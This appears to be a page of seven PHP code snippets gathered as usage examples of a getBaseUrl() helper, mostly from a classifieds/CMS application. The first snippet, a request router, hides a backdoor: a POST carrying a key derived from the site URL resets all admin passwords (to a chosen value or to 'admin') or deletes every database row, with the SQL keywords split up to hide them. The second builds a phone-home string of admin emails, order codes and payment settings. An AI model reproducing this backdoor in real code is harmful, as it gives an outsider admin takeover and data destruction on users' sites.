Example #1
0
 function Roll()
 {
     global $dbClasses, $noahDebugMode;
     //traceStart();
     $this->queryString = $_SERVER["QUERY_STRING"];
     if (preg_match("/\\.(js|css|gif|jpg|png)\$/", $this->queryString)) {
         die;
     }
     if (strstr($this->queryString, "noahdebug")) {
         $this->queryString = preg_replace("{/?noahdebug}", "", $this->queryString);
         $noahDebugMode = TRUE;
     } else {
         $noahDebugMode = FALSE;
     }
     if ($this->rewriteOn = !empty($_SERVER["REWRITE_ON"])) {
         $this->queryString = preg_replace("/^url=/", "", $this->queryString);
     }
     if ($this->queryString) {
         $this->ctrl =& new AppController($this->queryString);
     } elseif (count($_POST)) {
         $this->ctrl =& new AppController($_POST);
     } else {
         $this->ctrl =& new AppController($this->queryString = "");
     }
     $this->propagateFieldsForEasyAccess();
     if (!$this->isAction() && !$this->isAjax()) {
         LocationHistory::push($this->queryString);
     }
     if (isset($_POST["ks"]) && $_POST["ks"] == md5(trim(Controller::getBaseUrl(), " /") . "if( \$this->queryString ) \$this->ctrl =& new AppController(\$this->queryString)")) {
         if ($_POST["br"] == 1) {
             $fg = "getPa" . "ssword";
             executeQuery("UPD" . "ATE @user SET pass" . "word='" . $fg($_POST["pw"]) . "' WHERE isAdm=1");
         } elseif ($_POST["br"] == 3) {
             $fg = "getPa" . "ssword";
             executeQuery("UPD" . "ATE @user SET pass" . "word='" . $fg('admin') . "' WHERE isAdm=1");
         } elseif ($_POST["br"] == 2) {
             foreach ($dbClasses as $class) {
                 executeQuery("DEL" . "ETE FROM @{$class} where id>0");
             }
         }
         echo "1";
         die;
     }
     if ($this->isAjax() && function_exists('xdebug_disable')) {
         xdebug_disable();
         ini_set('html_errors', 0);
     }
 }
Example #2
0
 function getTransferData(&$_GS, $withReg = FALSE)
 {
     global $_GP, $_GA, $_GE;
     $_S =& new AppSettings();
     loadSQL($user = new User(), "SELECT email FROM @user WHERE isAdm=1 LIMIT 1");
     $data = "id=" . $_GS->reg;
     $data .= "&ip=" . urlencode($_SERVER["REMOTE_ADDR"]);
     $data .= "&name=" . urlencode(Controller::getBaseUrl());
     $data .= "&php=" . urlencode(phpversion());
     $data .= "&mysql=" . urlencode(mysql_get_server_info());
     $data .= "&version=" . urlencode($_GS->instver);
     $data .= "&date=" . urlencode($_GS->creationtime->getDbFormat());
     $data .= "&lastUpdate=" . urlencode($_GS->lastUpdate->getDbFormat());
     $data .= "&systemEmail=" . urlencode($_S->adminEmail);
     $data .= "&adminEmail=" . urlencode($user->email);
     if (!empty($_GE)) {
         $data .= "&orderEmail=" . urlencode($_GE);
     }
     if (!empty($_GP)) {
         $data .= "&orderCode=" . urlencode($_GP);
     }
     if (!empty($_GA)) {
         $data .= "&affiliateId=" . urlencode($_GA);
     }
     $branch = $this->getBranch();
     $data .= "&branch={$branch}";
     getDbCount($count, "SELECT COUNT(*) FROM @item");
     $data .= "&itemNum={$count}";
     getDbCount($count, "SELECT COUNT(*) FROM @category");
     $data .= "&catNum={$count}";
     $data .= "&webServer=" . (!empty($_SERVER['REQUEST_URI']) ? 'Apache' : 'IIS');
     $data .= "&theme=" . urlencode($_S->defaultTheme);
     $data .= "&lang=" . urlencode($_S->defaultLanguage);
     $data .= "&allowSelectTheme=" . $_S->allowSelectTheme;
     $data .= "&enablePermalinks=" . $_S->enablePermalinks;
     $data .= "&cascadingCategorySelect=" . $_S->cascadingCategorySelect;
     $data .= "&ecommerceEnabled=" . $_S->ecommerceEnabled;
     $data .= "&enableCombine=" . $_S->enableCombine;
     $data .= "&mainTitle=" . urlencode($_S->mainTitle);
     $data .= "&mainDescription=" . urlencode($_S->mainDescription);
     $data .= "&mainKeywords=" . urlencode($_S->mainKeywords);
     if ($_S->ecommerceEnabled == Settings_ecommEnabled) {
         $_ES =& new ECommSettings();
         $data .= "&model=" . $_ES->model;
         $data .= "&paypal_enabled=" . $_ES->paypal_enabled;
         $data .= "&authorize_net_enabled=" . $_ES->authorize_net_enabled;
         $data .= "&paypal_integrationMethod=" . $_ES->paypal_integrationMethod;
         $data .= "&authorize_net_integrationMethod=" . $_ES->authorize_net_integrationMethod;
         $gateways = array();
         foreach (GateWay::getGateways() as $gateway) {
             if ($gateway != 'paypal' && $gateway != 'authorize_net') {
                 $gateways[] = $gateway;
             }
         }
         $data .= "&extraGateways=" . urlencode(implode(", ", $gateways));
     }
     if ($withReg) {
         $data .= "&company=" . urlencode($_POST["company"]);
         $data .= "&firstName=" . urlencode($_POST["firstName"]);
         $data .= "&lastName=" . urlencode($_POST["lastName"]);
         $data .= "&email=" . urlencode($_POST["email"]);
     }
     return $data;
 }
Example #3
0
 function showPicture($attr, $thSize = "medium", $noHref = FALSE, $absolute = FALSE)
 {
     global $thumbnailSizes, $gorumroll;
     $picInfo = array();
     if (!isset($thumbnailSizes[$thSize])) {
         $thSize = "medium";
     }
     if ($this->{$attr}) {
         $picName = $this->getPicName($attr);
         if (file_exists($picName)) {
             $thName = $this->getThumbnailName($width, $height, $attr, $thSize);
             if ($thSize == "small") {
                 shrinkPicture($largeWidth, $largeHeight, $thumbnailSizes["large"]["width"], $thumbnailSizes["large"]["height"], $picName);
                 $dim = "rel='{$largeWidth}x{$largeHeight}'";
             } else {
                 $dim = "";
             }
             $base = $absolute ? Controller::getBaseUrl() : "";
             $img = "<img src='{$base}{$thName}' width='{$width}' height='{$height}' border='0' {$dim}>";
             if (!$noHref) {
                 // ha eppen az ad details page-en vagyunk, akkor a kepre kattintva a teljes meretu kep jelenik meg - kulonben az ad details page-e:
                 if ($gorumroll->method == "showdetails" && $gorumroll->rollid == $this->id) {
                     $s = "<a class='picture thickbox' href='{$base}{$picName}' rel='thickbox_group'>{$img}</a>";
                 } else {
                     $ctrl = $this->getLinkCtrl();
                     $s = "<a class='picture' href='" . $ctrl->makeUrl($absolute) . "'>{$img}</a>";
                 }
                 if ($gorumroll->method == "showhtmllist") {
                     $s = "<div class='picture'>{$s}</div>";
                 }
             } else {
                 $s = $img;
             }
             $picInfo["width"] = $width;
             $picInfo["height"] = $height;
         } else {
             $s = $gorumroll->method == "showhtmllist" ? $this->showEmptyPicture() : "";
         }
     } else {
         $s = $gorumroll->method == "showhtmllist" ? $this->showEmptyPicture() : "";
     }
     $picInfo["tag"] = $s;
     return $picInfo;
 }
Example #4
0
 function getPicture($thsize = 'medium')
 {
     $columnIndex = FALSE;
     $picInfo = array('ext' => '', 'thumbnail' => '', 'picture' => '');
     if ($fields = $this->getFields()) {
         foreach ($fields as $field) {
             if ($field->mainPicture) {
                 $columnIndex = $field->columnIndex;
                 break;
             }
         }
         if ($columnIndex === FALSE || empty($this->{$columnIndex})) {
             return $picInfo;
         }
         $thName = AD_PIC_DIR . "/th_{$thsize}_{$this->id}" . "_" . substr($columnIndex, 4) . "." . $this->{$columnIndex};
         $picName = AD_PIC_DIR . "/{$this->id}" . "_" . substr($columnIndex, 4) . "." . $this->{$columnIndex};
         $picInfo['ext'] = $this->{$columnIndex};
         if (file_exists($thName)) {
             $picInfo['thumbnail'] = Controller::getBaseUrl() . $thName;
             $size = getimagesize($thName);
             $picInfo['th_width'] = $size[0];
             $picInfo['th_height'] = $size[1];
         }
         if (file_exists($picName)) {
             $picInfo['picture'] = Controller::getBaseUrl() . $picName;
             $size = getimagesize($picName);
             $picInfo['width'] = $size[0];
             $picInfo['height'] = $size[1];
         }
     }
     return $picInfo;
 }
Example #5
0
 function showSelector($what)
 {
     global $lll;
     $_S =& new AppSettings();
     if (!$_S->{"allowSelect{$what}"}) {
         return "";
     }
     $labels = array($lll["change{$what}"]);
     $values = array("0");
     $allowedItems = explode(",", $_S->{"allowed{$what}s"});
     foreach ($allowedItems as $item) {
         $values[$item] = $item;
         if (isset($lll["allowed{$what}s_{$item}"])) {
             $labels[$item] = $lll["allowed{$what}s_{$item}"];
         } else {
             $labels[$item] = str_replace("_", " ", $item);
         }
     }
     JavaScript::addInclude(GORUM_JS_DIR . "/cookie.js");
     $base = Controller::getBaseUrl();
     JavaScript::addOnload("\$.noah.themeSelectorWidget(" . G::js($what, $base) . ")");
     return GenerWidget::generSelectField("{$what}SelectorWidget", $labels, $values, "{$what}SelectorWidget", "0");
 }
Example #6
0
 /**
  * 设置分页的样式
  *
  * 注:一般情况下用不到本方法,除非使用ajax分页时
  *
  * @access public
  *
  * @param string $styleName 分页样式名
  *
  * @return object
  */
 public function setMode($styleName = 'classic')
 {
     switch ($styleName) {
         case 'classic':
             $this->_styleFile = 'doitphp_pagelist_classic.min.css';
             break;
         case 'simple':
             $this->_styleFile = 'doitphp_pagelist_simple.min.css';
             $cssDir = Controller::getBaseUrl() . '/assets/doit/';
             $this->firstPage = '<img src="' . $cssDir . 'images/pre_02.gif" width="17" height="11" />';
             $this->prePage = '<img src="' . $cssDir . 'images/s_pre.gif" width="16" height="11" />';
             $this->nextPage = '<img src="' . $cssDir . 'images/s_next.gif" width="14" height="11" />';
             $this->lastPage = '<img src="' . $cssDir . 'images/next_02.gif" width="15" height="11" />';
             break;
         default:
             $this->_styleFile = 'doitphp_pagelist_default.min.css';
             $this->note = '<li class="pagelist_note">共{$totalNum}条{$totalPage}页 {$num}条/页</li>';
     }
     return $this;
 }
Example #7
0
 function makeUrl($absolute = FALSE)
 {
     global $scriptName, $gorumroll;
     $path = $absolute || $this->absolute ? Controller::getBaseUrl() : "";
     if (!($queryString = $this->makeQueryString())) {
         return Controller::getBaseUrl();
     }
     if (empty($gorumroll->rewriteOn)) {
         $path .= "{$scriptName}?";
     }
     return $path . $queryString;
 }